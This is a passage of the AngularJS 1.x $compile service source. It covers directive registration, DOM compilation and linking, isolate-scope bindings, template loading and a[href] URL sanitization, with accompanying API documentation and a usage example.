* - "compositeLinkFn" - function that aggregates all linking fns for a compilation root (nodeList)
*/
/**
* @ngdoc function
* @name ng.$compile
* @function
*
* @description
* Compiles a piece of HTML string or DOM into a template and produces a template function, which
* can then be used to link {@link ng.$rootScope.Scope scope} and the template together.
*
* The compilation is a process of walking the DOM tree and trying to match DOM elements to
* {@link ng.$compileProvider#directive directives}. For each match it
* executes corresponding template function and collects the
* instance functions into a single template function which is then returned.
*
* The template function can then be used once to produce the view or as it is the case with
* {@link ng.directive:ngRepeat repeater} many-times, in which
* case each call results in a view that is a DOM clone of the original template.
*
<doc:example module="compile">
<doc:source>
<script>
// declare a new module, and inject the $compileProvider
angular.module('compile', [], function($compileProvider) {
// configure new 'compile' directive by passing a directive
// factory function. The factory function injects the '$compile'
$compileProvider.directive('compile', function($compile) {
// directive factory creates a link function
return function(scope, element, attrs) {
scope.$watch(
function(scope) {
// watch the 'compile' expression for changes
return scope.$eval(attrs.compile);
},
function(value) {
// when the 'compile' expression changes
// assign it into the current DOM
element.html(value);
// compile the new DOM and link it to the current
// scope.
// NOTE: we only compile .childNodes so that
// we don't get into infinite loop compiling ourselves
$compile(element.contents())(scope);
}
);
};
})
});
function Ctrl($scope) {
$scope.name = 'Angular';
$scope.html = 'Hello {{name}}';
}
</script>
<div ng-controller="Ctrl">
<input ng-model="name"> <br>
<textarea ng-model="html"></textarea> <br>
<div compile="html"></div>
</div>
</doc:source>
<doc:scenario>
it('should auto compile', function() {
expect(element('div[compile]').text()).toBe('Hello Angular');
input('html').enter('{{name}}!');
expect(element('div[compile]').text()).toBe('Angular!');
});
</doc:scenario>
</doc:example>
*
*
* @param {string|DOMElement} element Element or HTML string to compile into a template function.
* @param {function(angular.Scope[, cloneAttachFn]} transclude function available to directives.
* @param {number} maxPriority only apply directives lower then given priority (Only effects the
* root element(s), not their children)
* @returns {function(scope[, cloneAttachFn])} a link function which is used to bind template
* (a DOM element/tree) to a scope. Where:
*
* * `scope` - A {@link ng.$rootScope.Scope Scope} to bind to.
* * `cloneAttachFn` - If `cloneAttachFn` is provided, then the link function will clone the
* `template` and call the `cloneAttachFn` function allowing the caller to attach the
* cloned elements to the DOM document at the appropriate place. The `cloneAttachFn` is
* called as: <br> `cloneAttachFn(clonedElement, scope)` where:
*
* * `clonedElement` - is a clone of the original `element` passed into the compiler.
* * `scope` - is the current scope with which the linking function is working with.
*
* Calling the linking function returns the element of the template. It is either the original element
* passed in, or the clone of the element if the `cloneAttachFn` is provided.
*
* After linking the view is not updated until after a call to $digest which typically is done by
* Angular automatically.
*
* If you need access to the bound view, there are two ways to do it:
*
* - If you are not asking the linking function to clone the template, create the DOM element(s)
* before you send them to the compiler and keep this reference around.
* <pre>
* var element = $compile('<p>{{total}}</p>')(scope);
* </pre>
*
* - if on the other hand, you need the element to be cloned, the view reference from the original
* example would not point to the clone, but rather to the original template that was cloned. In
* this case, you can access the clone via the cloneAttachFn:
* <pre>
* var templateHTML = angular.element('<p>{{total}}</p>'),
* scope = ....;
*
* var clonedElement = $compile(templateHTML)(scope, function(clonedElement, scope) {
* //attach the clone to DOM document at the right place
* });
*
* //now we have reference to the cloned DOM via `clone`
* </pre>
*
*
* For information on how the compiler works, see the
* {@link guide/compiler Angular HTML Compiler} section of the Developer Guide.
*/
/**
* @ngdoc service
* @name ng.$compileProvider
* @function
*
* @description
*/
$CompileProvider.$inject = ['$provide'];
function $CompileProvider($provide) {
var hasDirectives = {},
Suffix = 'Directive',
COMMENT_DIRECTIVE_REGEXP = /^\s*directive\:\s*([\d\w\-_]+)\s+(.*)$/,
CLASS_DIRECTIVE_REGEXP = /(([\d\w\-_]+)(?:\:([^;]+))?;?)/,
urlSanitizationWhitelist = /^\s*(https?|ftp|mailto|file):/;
/**
* @ngdoc function
* @name ng.$compileProvider#directive
* @methodOf ng.$compileProvider
* @function
*
* @description
* Register a new directives with the compiler.
*
* @param {string} name Name of the directive in camel-case. (ie <code>ngBind</code> which will match as
* <code>ng-bind</code>).
* @param {function} directiveFactory An injectable directive factory function. See {@link guide/directive} for more
* info.
* @returns {ng.$compileProvider} Self for chaining.
*/
this.directive = function registerDirective(name, directiveFactory) {
if (isString(name)) {
assertArg(directiveFactory, 'directive');
if (!hasDirectives.hasOwnProperty(name)) {
hasDirectives[name] = [];
$provide.factory(name + Suffix, ['$injector', '$exceptionHandler',
function($injector, $exceptionHandler) {
var directives = [];
forEach(hasDirectives[name], function(directiveFactory) {
try {
var directive = $injector.invoke(directiveFactory);
if (isFunction(directive)) {
directive = { compile: valueFn(directive) };
} else if (!directive.compile && directive.link) {
directive.compile = valueFn(directive.link);
}
directive.priority = directive.priority || 0;
directive.name = directive.name || name;
directive.require = directive.require || (directive.controller && directive.name);
directive.restrict = directive.restrict || 'A';
directives.push(directive);
} catch (e) {
$exceptionHandler(e);
}
});
return directives;
}]);
}
hasDirectives[name].push(directiveFactory);
} else {
forEach(name, reverseParams(registerDirective));
}
return this;
};
/**
* @ngdoc function
* @name ng.$compileProvider#urlSanitizationWhitelist
* @methodOf ng.$compileProvider
* @function
*
* @description
* Retrieves or overrides the default regular expression that is used for whitelisting of safe
* urls during a[href] sanitization.
*
* The sanitization is a security measure aimed at prevent XSS attacks via html links.
*
* Any url about to be assigned to a[href] via data-binding is first normalized and turned into an
* absolute url. Afterwards the url is matched against the `urlSanitizationWhitelist` regular
* expression. If a match is found the original url is written into the dom. Otherwise the
* absolute url is prefixed with `'unsafe:'` string and only then it is written into the DOM.
*
* @param {RegExp=} regexp New regexp to whitelist urls with.
* @returns {RegExp|ng.$compileProvider} Current RegExp if called without value or self for
* chaining otherwise.
*/
this.urlSanitizationWhitelist = function(regexp) {
if (isDefined(regexp)) {
urlSanitizationWhitelist = regexp;
return this;
}
return urlSanitizationWhitelist;
};
this.$get = [
'$injector', '$interpolate', '$exceptionHandler', '$http', '$templateCache', '$parse',
'$controller', '$rootScope', '$document',
function($injector, $interpolate, $exceptionHandler, $http, $templateCache, $parse,
$controller, $rootScope, $document) {
var Attributes = function(element, attr) {
this.$$element = element;
this.$attr = attr || {};
};
Attributes.prototype = {
$normalize: directiveNormalize,
/**
* Set a normalized attribute on the element in a way such that all directives
* can share the attribute. This function properly handles boolean attributes.
* @param {string} key Normalized key. (ie ngAttribute)
* @param {string|boolean} value The value to set. If `null` attribute will be deleted.
* @param {boolean=} writeAttr If false, does not write the value to DOM element attribute.
* Defaults to true.
* @param {string=} attrName Optional none normalized name. Defaults to key.
*/
$set: function(key, value, writeAttr, attrName) {
var booleanKey = getBooleanAttrName(this.$$element[0], key),
$$observers = this.$$observers,
normalizedVal;
if (booleanKey) {
this.$$element.prop(key, value);
attrName = booleanKey;
}
this[key] = value;
// translate normalized key to actual key
if (attrName) {
this.$attr[key] = attrName;
} else {
attrName = this.$attr[key];
if (!attrName) {
this.$attr[key] = attrName = snake_case(key, '-');
}
}
// sanitize a[href] values
if (nodeName_(this.$$element[0]) === 'A' && key === 'href') {
urlSanitizationNode.setAttribute('href', value);
// href property always returns normalized absolute url, so we can match against that
normalizedVal = urlSanitizationNode.href;
if (!normalizedVal.match(urlSanitizationWhitelist)) {
this[key] = value = 'unsafe:' + normalizedVal;
}
}
if (writeAttr !== false) {
if (value === null || value === undefined) {
this.$$element.removeAttr(attrName);
} else {
this.$$element.attr(attrName, value);
}
}
// fire observers
$$observers && forEach($$observers[key], function(fn) {
try {
fn(value);
} catch (e) {
$exceptionHandler(e);
}
});
},
/**
* Observe an interpolated attribute.
* The observer will never be called, if given attribute is not interpolated.
*
* @param {string} key Normalized key. (ie ngAttribute) .
* @param {function(*)} fn Function that will be called whenever the attribute value changes.
* @returns {function(*)} the `fn` Function passed in.
*/
$observe: function(key, fn) {
var attrs = this,
$$observers = (attrs.$$observers || (attrs.$$observers = {})),
listeners = ($$observers[key] || ($$observers[key] = []));
listeners.push(fn);
$rootScope.$evalAsync(function() {
if (!listeners.$$inter) {
// no one registered attribute interpolation function, so lets call it manually
fn(attrs[key]);
}
});
return fn;
}
};
var urlSanitizationNode = $document[0].createElement('a'),
startSymbol = $interpolate.startSymbol(),
endSymbol = $interpolate.endSymbol(),
denormalizeTemplate = (startSymbol == '{{' || endSymbol == '}}')
? identity
: function denormalizeTemplate(template) {
return template.replace(/\{\{/g, startSymbol).replace(/}}/g, endSymbol);
},
NG_ATTR_BINDING = /^ngAttr[A-Z]/;
return compile;
//================================
function compile($compileNodes, transcludeFn, maxPriority) {
if (!($compileNodes instanceof jqLite)) {
// jquery always rewraps, whereas we need to preserve the original selector so that we can modify it.
$compileNodes = jqLite($compileNodes);
}
// We can not compile top level text elements since text nodes can be merged and we will
// not be able to attach scope data to them, so we will wrap them in <span>
forEach($compileNodes, function(node, index){
if (node.nodeType == 3 /* text node */ && node.nodeValue.match(/\S+/) /* non-empty */ ) {
$compileNodes[index] = jqLite(node).wrap('<span></span>').parent()[0];
}
});
var compositeLinkFn = compileNodes($compileNodes, transcludeFn, $compileNodes, maxPriority);
return function publicLinkFn(scope, cloneConnectFn){
assertArg(scope, 'scope');
// important!!: we must call our jqLite.clone() since the jQuery one is trying to be smart
// and sometimes changes the structure of the DOM.
var $linkNode = cloneConnectFn
? JQLitePrototype.clone.call($compileNodes) // IMPORTANT!!!
: $compileNodes;
// Attach scope only to non-text nodes.
for(var i = 0, ii = $linkNode.length; i<ii; i++) {
var node = $linkNode[i];
if (node.nodeType == 1 /* element */ || node.nodeType == 9 /* document */) {
$linkNode.eq(i).data('$scope', scope);
}
}
safeAddClass($linkNode, 'ng-scope');
if (cloneConnectFn) cloneConnectFn($linkNode, scope);
if (compositeLinkFn) compositeLinkFn(scope, $linkNode, $linkNode);
return $linkNode;
};
}
function safeAddClass($element, className) {
try {
$element.addClass(className);
} catch(e) {
// ignore, since it means that we are trying to set class on
// SVG element, where class name is read-only.
}
}
/**
* Compile function matches each node in nodeList against the directives. Once all directives
* for a particular node are collected their compile functions are executed. The compile
* functions return values - the linking functions - are combined into a composite linking
* function, which is the a linking function for the node.
*
* @param {NodeList} nodeList an array of nodes or NodeList to compile
* @param {function(angular.Scope[, cloneAttachFn]} transcludeFn A linking function, where the
* scope argument is auto-generated to the new child of the transcluded parent scope.
* @param {DOMElement=} $rootElement If the nodeList is the root of the compilation tree then the
* rootElement must be set the jqLite collection of the compile root. This is
* needed so that the jqLite collection items can be replaced with widgets.
* @param {number=} max directive priority
* @returns {?function} A composite linking function of all of the matched directives or null.
*/
function compileNodes(nodeList, transcludeFn, $rootElement, maxPriority) {
var linkFns = [],
nodeLinkFn, childLinkFn, directives, attrs, linkFnFound;
for(var i = 0; i < nodeList.length; i++) {
attrs = new Attributes();
// we must always refer to nodeList[i] since the nodes can be replaced underneath us.
directives = collectDirectives(nodeList[i], [], attrs, maxPriority);
nodeLinkFn = (directives.length)
? applyDirectivesToNode(directives, nodeList[i], attrs, transcludeFn, $rootElement)
: null;
childLinkFn = (nodeLinkFn && nodeLinkFn.terminal || !nodeList[i].childNodes || !nodeList[i].childNodes.length)
? null
: compileNodes(nodeList[i].childNodes,
nodeLinkFn ? nodeLinkFn.transclude : transcludeFn);
linkFns.push(nodeLinkFn);
linkFns.push(childLinkFn);
linkFnFound = (linkFnFound || nodeLinkFn || childLinkFn);
}
// return a linking function if we have found anything, null otherwise
return linkFnFound ? compositeLinkFn : null;
function compositeLinkFn(scope, nodeList, $rootElement, boundTranscludeFn) {
var nodeLinkFn, childLinkFn, node, childScope, childTranscludeFn, i, ii, n;
// copy nodeList so that linking doesn't break due to live list updates.
var stableNodeList = [];
for (i = 0, ii = nodeList.length; i < ii; i++) {
stableNodeList.push(nodeList[i]);
}
for(i = 0, n = 0, ii = linkFns.length; i < ii; n++) {
node = stableNodeList[n];
nodeLinkFn = linkFns[i++];
childLinkFn = linkFns[i++];
if (nodeLinkFn) {
if (nodeLinkFn.scope) {
childScope = scope.$new(isObject(nodeLinkFn.scope));
jqLite(node).data('$scope', childScope);
} else {
childScope = scope;
}
childTranscludeFn = nodeLinkFn.transclude;
if (childTranscludeFn || (!boundTranscludeFn && transcludeFn)) {
nodeLinkFn(childLinkFn, childScope, node, $rootElement,
(function(transcludeFn) {
return function(cloneFn) {
var transcludeScope = scope.$new();
transcludeScope.$$transcluded = true;
return transcludeFn(transcludeScope, cloneFn).
bind('$destroy', bind(transcludeScope, transcludeScope.$destroy));
};
})(childTranscludeFn || transcludeFn)
);
} else {
nodeLinkFn(childLinkFn, childScope, node, undefined, boundTranscludeFn);
}
} else if (childLinkFn) {
childLinkFn(scope, node.childNodes, undefined, boundTranscludeFn);
}
}
}
}
/**
* Looks for directives on the given node and adds them to the directive collection which is
* sorted.
*
* @param node Node to search.
* @param directives An array to which the directives are added to. This array is sorted before
* the function returns.
* @param attrs The shared attrs object which is used to populate the normalized attributes.
* @param {number=} maxPriority Max directive priority.
*/
function collectDirectives(node, directives, attrs, maxPriority) {
var nodeType = node.nodeType,
attrsMap = attrs.$attr,
match,
className;
switch(nodeType) {
case 1: /* Element */
// use the node name: <directive>
addDirective(directives,
directiveNormalize(nodeName_(node).toLowerCase()), 'E', maxPriority);
// iterate over the attributes
for (var attr, name, nName, ngAttrName, value, nAttrs = node.attributes,
j = 0, jj = nAttrs && nAttrs.length; j < jj; j++) {
attr = nAttrs[j];
if (attr.specified) {
name = attr.name;
// support ngAttr attribute binding
ngAttrName = directiveNormalize(name);
if (NG_ATTR_BINDING.test(ngAttrName)) {
name = ngAttrName.substr(6).toLowerCase();
}
nName = directiveNormalize(name.toLowerCase());
attrsMap[nName] = name;
attrs[nName] = value = trim((msie && name == 'href')
? decodeURIComponent(node.getAttribute(name, 2))
: attr.value);
if (getBooleanAttrName(node, nName)) {
attrs[nName] = true; // presence means true
}
addAttrInterpolateDirective(node, directives, value, nName);
addDirective(directives, nName, 'A', maxPriority);
}
}
// use class as directive
className = node.className;
if (isString(className) && className !== '') {
while (match = CLASS_DIRECTIVE_REGEXP.exec(className)) {
nName = directiveNormalize(match[2]);
if (addDirective(directives, nName, 'C', maxPriority)) {
attrs[nName] = trim(match[3]);
}
className = className.substr(match.index + match[0].length);
}
}
break;
case 3: /* Text Node */
addTextInterpolateDirective(directives, node.nodeValue);
break;
case 8: /* Comment */
try {
match = COMMENT_DIRECTIVE_REGEXP.exec(node.nodeValue);
if (match) {
nName = directiveNormalize(match[1]);
if (addDirective(directives, nName, 'M', maxPriority)) {
attrs[nName] = trim(match[2]);
}
}
} catch (e) {
// turns out that under some circumstances IE9 throws errors when one attempts to read comment's node value.
// Just ignore it and continue. (Can't seem to reproduce in test case.)
}
break;
}
directives.sort(byPriority);
return directives;
}
/**
* Once the directives have been collected, their compile functions are executed. This method
* is responsible for inlining directive templates as well as terminating the application
* of the directives if the terminal directive has been reached.
*
* @param {Array} directives Array of collected directives to execute their compile function.
* this needs to be pre-sorted by priority order.
* @param {Node} compileNode The raw DOM node to apply the compile functions to
* @param {Object} templateAttrs The shared attribute function
* @param {function(angular.Scope[, cloneAttachFn]} transcludeFn A linking function, where the
* scope argument is auto-generated to the new child of the transcluded parent scope.
* @param {JQLite} jqCollection If we are working on the root of the compile tree then this
* argument has the root jqLite array so that we can replace nodes on it.
* @returns linkFn
*/
function applyDirectivesToNode(directives, compileNode, templateAttrs, transcludeFn, jqCollection) {
var terminalPriority = -Number.MAX_VALUE,
preLinkFns = [],
postLinkFns = [],
newScopeDirective = null,
newIsolateScopeDirective = null,
templateDirective = null,
$compileNode = templateAttrs.$$element = jqLite(compileNode),
directive,
directiveName,
$template,
transcludeDirective,
childTranscludeFn = transcludeFn,
controllerDirectives,
linkFn,
directiveValue;
// executes all directives on the current element
for(var i = 0, ii = directives.length; i < ii; i++) {
directive = directives[i];
$template = undefined;
if (terminalPriority > directive.priority) {
break; // prevent further processing of directives
}
if (directiveValue = directive.scope) {
assertNoDuplicate('isolated scope', newIsolateScopeDirective, directive, $compileNode);
if (isObject(directiveValue)) {
safeAddClass($compileNode, 'ng-isolate-scope');
newIsolateScopeDirective = directive;
}
safeAddClass($compileNode, 'ng-scope');
newScopeDirective = newScopeDirective || directive;
}
directiveName = directive.name;
if (directiveValue = directive.controller) {
controllerDirectives = controllerDirectives || {};
assertNoDuplicate("'" + directiveName + "' controller",
controllerDirectives[directiveName], directive, $compileNode);
controllerDirectives[directiveName] = directive;
}
if (directiveValue = directive.transclude) {
assertNoDuplicate('transclusion', transcludeDirective, directive, $compileNode);
transcludeDirective = directive;
terminalPriority = directive.priority;
if (directiveValue == 'element') {
$template = jqLite(compileNode);
$compileNode = templateAttrs.$$element =
jqLite(document.createComment(' ' + directiveName + ': ' + templateAttrs[directiveName] + ' '));
compileNode = $compileNode[0];
replaceWith(jqCollection, jqLite($template[0]), compileNode);
childTranscludeFn = compile($template, transcludeFn, terminalPriority);
} else {
$template = jqLite(JQLiteClone(compileNode)).contents();
$compileNode.html(''); // clear contents
childTranscludeFn = compile($template, transcludeFn);
}
}
if (directive.template) {
assertNoDuplicate('template', templateDirective, directive, $compileNode);
templateDirective = directive;
directiveValue = (isFunction(directive.template))
? directive.template($compileNode, templateAttrs)
: directive.template;
directiveValue = denormalizeTemplate(directiveValue);
if (directive.replace) {
$template = jqLite('<div>' +
trim(directiveValue) +
'</div>').contents();
compileNode = $template[0];
if ($template.length != 1 || compileNode.nodeType !== 1) {
throw ngError(12, "Template for directive '{0}' must have exactly one root element.", directiveName);
}
replaceWith(jqCollection, $compileNode, compileNode);
var newTemplateAttrs = {$attr: {}};
// combine directives from the original node and from the template:
// - take the array of directives for this element
// - split it into two parts, those that were already applied and those that weren't
// - collect directives from the template, add them to the second group and sort them
// - append the second group with new directives to the first group
directives = directives.concat(
collectDirectives(
compileNode,
directives.splice(i + 1, directives.length - (i + 1)),
newTemplateAttrs
)
);
mergeTemplateAttributes(templateAttrs, newTemplateAttrs);
ii = directives.length;
} else {
$compileNode.html(directiveValue);
}
}
if (directive.templateUrl) {
assertNoDuplicate('template', templateDirective, directive, $compileNode);
templateDirective = directive;
nodeLinkFn = compileTemplateUrl(directives.splice(i, directives.length - i),
nodeLinkFn, $compileNode, templateAttrs, jqCollection, directive.replace,
childTranscludeFn);
ii = directives.length;
} else if (directive.compile) {
try {
linkFn = directive.compile($compileNode, templateAttrs, childTranscludeFn);
if (isFunction(linkFn)) {
addLinkFns(null, linkFn);
} else if (linkFn) {
addLinkFns(linkFn.pre, linkFn.post);
}
} catch (e) {
$exceptionHandler(e, startingTag($compileNode));
}
}
if (directive.terminal) {
nodeLinkFn.terminal = true;
terminalPriority = Math.max(terminalPriority, directive.priority);
}
}
nodeLinkFn.scope = newScopeDirective && newScopeDirective.scope;
nodeLinkFn.transclude = transcludeDirective && childTranscludeFn;
// might be normal or delayed nodeLinkFn depending on if templateUrl is present
return nodeLinkFn;
////////////////////
function addLinkFns(pre, post) {
if (pre) {
pre.require = directive.require;
preLinkFns.push(pre);
}
if (post) {
post.require = directive.require;
postLinkFns.push(post);
}
}
function getControllers(require, $element) {
var value, retrievalMethod = 'data', optional = false;
if (isString(require)) {
while((value = require.charAt(0)) == '^' || value == '?') {
require = require.substr(1);
if (value == '^') {
retrievalMethod = 'inheritedData';
}
optional = optional || value == '?';
}
value = $element[retrievalMethod]('$' + require + 'Controller');
if (!value && !optional) {
throw ngError(13, "Controller '{0}', required by directive '{1}', can't be found!", require, directiveName);
}
return value;
} else if (isArray(require)) {
value = [];
forEach(require, function(require) {
value.push(getControllers(require, $element));
});
}
return value;
}
function nodeLinkFn(childLinkFn, scope, linkNode, $rootElement, boundTranscludeFn) {
var attrs, $element, i, ii, linkFn, controller;
if (compileNode === linkNode) {
attrs = templateAttrs;
} else {
attrs = shallowCopy(templateAttrs, new Attributes(jqLite(linkNode), templateAttrs.$attr));
}
$element = attrs.$$element;
if (newIsolateScopeDirective) {
var LOCAL_REGEXP = /^\s*([@=&])(\??)\s*(\w*)\s*$/;
var parentScope = scope.$parent || scope;
forEach(newIsolateScopeDirective.scope, function(definition, scopeName) {
var match = definition.match(LOCAL_REGEXP) || [],
attrName = match[3] || scopeName,
optional = (match[2] == '?'),
mode = match[1], // @, =, or &
lastValue,
parentGet, parentSet;
scope.$$isolateBindings[scopeName] = mode + attrName;
switch (mode) {
case '@': {
attrs.$observe(attrName, function(value) {
scope[scopeName] = value;
});
attrs.$$observers[attrName].$$scope = parentScope;
if( attrs[attrName] ) {
// If the attribute has been provided then we trigger an interpolation to ensure the value is there for use in the link fn
scope[scopeName] = $interpolate(attrs[attrName])(parentScope);
}
break;
}
case '=': {
if (optional && !attrs[attrName]) {
return;
}
parentGet = $parse(attrs[attrName]);
parentSet = parentGet.assign || function() {
// reset the change, or we will throw this exception on every $digest
lastValue = scope[scopeName] = parentGet(parentScope);
throw ngError(14, "Expression '{0}' used with directive '{1}' is non-assignable!",
attrs[attrName], newIsolateScopeDirective.name);
};
lastValue = scope[scopeName] = parentGet(parentScope);
scope.$watch(function parentValueWatch() {
var parentValue = parentGet(parentScope);
if (parentValue !== scope[scopeName]) {
// we are out of sync and need to copy
if (parentValue !== lastValue) {
// parent changed and it has precedence
lastValue = scope[scopeName] = parentValue;
} else {
// if the parent can be assigned then do so
parentSet(parentScope, parentValue = lastValue = scope[scopeName]);
}
}
return parentValue;
});
break;
}
case '&': {
parentGet = $parse(attrs[attrName]);
scope[scopeName] = function(locals) {
return parentGet(parentScope, locals);
};
break;
}
default: {
throw ngError(15, "Invalid isolate scope definition for directive '{0}'. Definition: {... {1}: '{2}' ...}",
newIsolateScopeDirective.name, scopeName, definition);
}
}
});
}
if (controllerDirectives) {
forEach(controllerDirectives, function(directive) {
var locals = {
$scope: scope,
$element: $element,
$attrs: attrs,
$transclude: boundTranscludeFn
};
controller = directive.controller;
if (controller == '@') {
controller = attrs[directive.name];
}
$element.data(
'$' + directive.name + 'Controller',
$controller(controller, locals));
});
}
// PRELINKING
for(i = 0, ii = preLinkFns.length; i < ii; i++) {
try {
linkFn = preLinkFns[i];
linkFn(scope, $element, attrs,
linkFn.require && getControllers(linkFn.require, $element));
} catch (e) {
$exceptionHandler(e, startingTag($element));
}
}
// RECURSION
childLinkFn && childLinkFn(scope, linkNode.childNodes, undefined, boundTranscludeFn);
// POSTLINKING
for(i = 0, ii = postLinkFns.length; i < ii; i++) {
try {
linkFn = postLinkFns[i];
linkFn(scope, $element, attrs,
linkFn.require && getControllers(linkFn.require, $element));
} catch (e) {
$exceptionHandler(e, startingTag($element));
}
}
}
}
/**
* looks up the directive and decorates it with exception handling and proper parameters. We
* call this the boundDirective.
*
* @param {string} name name of the directive to look up.
* @param {string} location The directive must be found in specific format.
* String containing any of theses characters:
*
* * `E`: element name
* * `A': attribute
* * `C`: class
* * `M`: comment
* @returns true if directive was added.
*/
function addDirective(tDirectives, name, location, maxPriority) {
var match = false;
if (hasDirectives.hasOwnProperty(name)) {
for(var directive, directives = $injector.get(name + Suffix),
i = 0, ii = directives.length; i<ii; i++) {
try {
directive = directives[i];
if ( (maxPriority === undefined || maxPriority > directive.priority) &&
directive.restrict.indexOf(location) != -1) {
tDirectives.push(directive);
match = true;
}
} catch(e) { $exceptionHandler(e); }
}
}
return match;
}
/**
* When the element is replaced with HTML template then the new attributes
* on the template need to be merged with the existing attributes in the DOM.
* The desired effect is to have both of the attributes present.
*
* @param {object} dst destination attributes (original DOM)
* @param {object} src source attributes (from the directive template)
*/
function mergeTemplateAttributes(dst, src) {
var srcAttr = src.$attr,
dstAttr = dst.$attr,
$element = dst.$$element;
// reapply the old attributes to the new element
forEach(dst, function(value, key) {
if (key.charAt(0) != '$') {
if (src[key]) {
value += (key === 'style' ? ';' : ' ') + src[key];
}
dst.$set(key, value, true, srcAttr[key]);
}
});
// copy the new attributes on the old attrs object
forEach(src, function(value, key) {
if (key == 'class') {
safeAddClass($element, value);
dst['class'] = (dst['class'] ? dst['class'] + ' ' : '') + value;
} else if (key == 'style') {
$element.attr('style', $element.attr('style') + ';' + value);
} else if (key.charAt(0) != '$' && !dst.hasOwnProperty(key)) {
dst[key] = value;
dstAttr[key] = srcAttr[key];
}
});
}
function compileTemplateUrl(directives, beforeTemplateNodeLinkFn, $compileNode, tAttrs,
$rootElement, replace, childTranscludeFn) {
var linkQueue = [],
afterTemplateNodeLinkFn,
afterTemplateChildLinkFn,
beforeTemplateCompileNode = $compileNode[0],
origAsyncDirective = directives.shift(),
// The fact that we have to copy and patch the directive seems wrong!
derivedSyncDirective = extend({}, origAsyncDirective, {
controller: null, templateUrl: null, transclude: null, scope: null
}),
templateUrl = (isFunction(origAsyncDirective.templateUrl))
? origAsyncDirective.templateUrl($compileNode, tAttrs)
: origAsyncDirective.templateUrl;
$compileNode.html('');
$http.get(templateUrl, {cache: $templateCache}).
success(function(content) {
var compileNode, tempTemplateAttrs, $template;
content = denormalizeTemplate(content);
if (replace) {
$template = jqLite('<div>' + trim(content) + '</div>').contents();
compileNode = $template[0];
if ($template.length != 1 || compileNode.nodeType !== 1) {
throw ngError(16, "Template for directive '{0}' must have exactly one root element. Template: {1}",
origAsyncDirective.name, templateUrl);
}
tempTemplateAttrs = {$attr: {}};
replaceWith($rootElement, $compileNode, compileNode);
collectDirectives(compileNode, directives, tempTemplateAttrs);
mergeTemplateAttributes(tAttrs, tempTemplateAttrs);
} else {
compileNode = beforeTemplateCompileNode;
$compileNode.html(content);
}
directives.unshift(derivedSyncDirective);
afterTemplateNodeLinkFn = applyDirectivesToNode(directives, compileNode, tAttrs, childTranscludeFn);
afterTemplateChildLinkFn = compileNodes($compileNode[0].childNodes, childTranscludeFn);
while(linkQueue.length) {
var scope = linkQueue.shift(),
beforeTemplateLinkNode = linkQueue.shift(),
linkRootElement = linkQueue.shift(),
controller = linkQueue.shift(),
linkNode = compileNode;
if (beforeTemplateLinkNode !== beforeTemplateCompileNode) {
// it was cloned therefore we have to clone as well.
linkNode = JQLiteClone(compileNode);
replaceWith(linkRootElement, jqLite(beforeTemplateLinkNode), linkNode);
}
afterTemplateNodeLinkFn(function() {
beforeTemplateNodeLinkFn(afterTemplateChildLinkFn, scope, linkNode, $rootElement, controller);
}, scope, linkNode, $rootElement, controller);
}
linkQueue = null;
}).
error(function(response, code, headers, config) {
throw ngError(17, 'Failed to load template: {0}', config.url);
});
return function delayedNodeLinkFn(ignoreChildLinkFn, scope, node, rootElement, controller) {
if (linkQueue) {
linkQueue.push(scope);
linkQueue.push(node);
linkQueue.push(rootElement);
linkQueue.push(controller);
} else {
afterTemplateNodeLinkFn(function() {
beforeTemplateNodeLinkFn(afterTemplateChildLinkFn, scope, node, rootElement, controller);
}, scope, node, rootElement, controller);
}
};
}
/**
* Sorting function for bound directives.
*/
function byPriority(a, b) {
return b.priority - a.priority;
}
function assertNoDuplicate(what, previousDirective, directive, element) {
if (previousDirective) {
throw ngError(18, 'Multiple directives [{0}, {1}] asking for {2} on: {3}',
previousDirective.name, directive.name, what, startingTag(element));
}
}
function addTextInterpolateDirective(directives, text) {
var interpolateFn = $interpolate(text, true);
if (interpolateFn) {
directives.push({
priority: 0,
compile: valueFn(function textInterpolateLinkFn(scope, node) {
var parent = node.parent(),
bindings = parent.data('$binding') || [];
bindings.push(interpolateFn);
safeAddClass(parent.data('$binding', bindings), 'ng-binding');
scope.$watch(interpolateFn, function interpolateFnWatchAction(value) {
node[0].nodeValue = value;
});
})
});
}
}
function addAttrInterpolateDirective(node, directives, value, name) {
var interpolateFn = $interpolate(value, true);
// no interpolation found -> ignore
if (!interpolateFn) return;
directives.push({
priority: 100,
compile: valueFn(function attrInterpolateLinkFn(scope, element, attr) {
var $$observers = (attr.$$observers || (attr.$$observers = {}));
// we need to interpolate again, in case the attribute value has been updated
// (e.g. by another directive's compile function)
interpolateFn = $interpolate(attr[name], true);
// if attribute was updated so that there is no interpolation going on we don't want to
// register any observers
if (!interpolateFn) return;
attr[name] = interpolateFn(scope);
($$observers[name] || ($$observers[name] = [])).$$inter = true;
(attr.$$observers && attr.$$observers[name].$$scope || scope).
$watch(interpolateFn, function interpolateFnWatchAction(value) {
attr.$set(name, value);
});
})
});
}
/**
* This is a special jqLite.replaceWith, which can replace items which
* have no parents, provided that the containing jqLite collection is provided.
*
* @param {JqLite=} $rootElement The root of the compile tree. Used so that we can replace nodes
* in the root of the tree.
* @param {JqLite} $element The jqLite element which we are going to replace. We keep the shell,
* but replace its DOM node reference.
* @param {Node} newNode The new DOM node.
*/
function replaceWith($rootElement, $element, newNode) {
var oldNode = $element[0],
parent = oldNode.parentNode,
i, ii;
if ($rootElement) {
for(i = 0, ii = $rootElement.length; i < ii; i++) {
if ($rootElement[i] == oldNode) {
$rootElement[i] = newNode;
break;
}
}
}
if (parent) {
parent.replaceChild(newNode, oldNode);
}
newNode[jqLite.expando] = oldNode[jqLite.expando];
$element[0] = newNode;
}
}];
}
var PREFIX_REGEXP = /^(x[\:\-_]|data[\:\-_])/i;
/**
* Converts all accepted directives format into proper directive name.
* All of these will become 'myDirective':
* my:DiRective
* my-directive
* x-my-directive
* data-my:directive
*
* Also there is special case for Moz prefix starting with upper case letter.
* @param name Name to normalize
*/
function directiveNormalize(name) {
return camelCase(name.replace(PREFIX_REGEXP, ''));
}
/**
* @ngdoc object
* @name ng.$compile.directive.Attributes
* @description
*
* A shared object between directive compile / linking functions which contains normalized DOM element
* attributes. The the values reflect current binding state `{{ }}`. The normalization is needed
* since all of these are treated as equivalent in Angular:
*
* <span ng:bind="a" ng-bind="a" data-ng-bind="a" x-ng-bind="a">
*/
/**
* @ngdoc property
* @name ng.$compile.directive.Attributes#$attr
* @propertyOf ng.$compile.directive.Attributes
* @returns {object} A map of DOM element attribute names to the normalized name. This is
* needed to do reverse lookup from normalized name back to actual name.
*/
/**
* @ngdoc function
* @name ng.$compile.directive.Attributes#$set
